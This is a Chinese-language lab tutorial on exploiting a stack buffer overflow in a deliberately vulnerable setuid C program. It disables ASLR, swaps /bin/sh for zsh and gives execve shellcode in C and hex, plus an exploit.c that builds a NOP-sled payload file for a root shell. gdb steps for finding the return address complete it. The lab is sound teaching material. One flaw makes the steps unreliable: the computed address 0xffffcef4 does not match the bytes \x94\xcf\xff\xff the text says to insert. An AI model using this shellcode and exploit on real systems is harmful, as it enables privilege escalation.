缓冲区溢出实验

缓冲区溢出实验

1 初始设置

Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。可以使用

sudo sysctl -w kernel.randomize_va_space=0

执行结果如下：

此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在 /bin/bash 中实现。linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。可以使用如下指令配置zsh：

sudo apt install zsh            //如果是用实验系统，可跳过此步骤
sudo su
cd /bin
rm sh
ln -s zsh sh
exit

输入命令linux32进入32位linux环境。

shellcode

一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。以下为shellcodeC语言版本。

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

通常使用的是汇编后的shellcode，如下：

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

漏洞程序

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。

编译该程序，并设置 SET-UID。

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack

GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。

-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。

攻击程序

我们的目的是攻击刚才的漏洞程序，并通过攻击获得 root 权限。在当前目录下新建一个 exploit.c 文件

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

注意上面的代码，\x??\x??\x??\x??处需要添上shellcode保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而strcpy(buffer+100,shellcode);这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。下面将详细介绍如何获得需要添加的地址。（如果不先运行就会得到错误的地址）

首先使用gdb stack命令进入gdb调试，先run，再使用disass main命令

重点看：

esp 中就是 str 的起始地址，所以我们在地址 0x56555611处设置断点

接下来的操作：

b *0x56555611
r
i r $esp

根据语句strcpy(buffer + 100,shellcode);我们计算shellcode的地址为0xffffce90+ 0x64 = 0xffffcef4

现在修改exploit.c文件，将 \x??\x??\x??\x?? 修改为计算的结果 \x94\xcf\xff\xff，注意顺序是反的。

然后编译exploit.c程序：gcc -m32 -o exploit exploit.c

执行以下命令

./exploit
./stack

拓展实验

打开地址空间随机化机制

过命令sudo sysctl -w kernel.randomize_va_space=2打开系统的地址空间随机化机制，结果显然不能进行root

关闭地址空间随机化机制后，再次执行就能root了

将/bin/sh重新指向/bin/bash

sudo su
cd /bin
rm sh
ln -s bash sh
exit

运行结果如下

得到的是自己的权限ly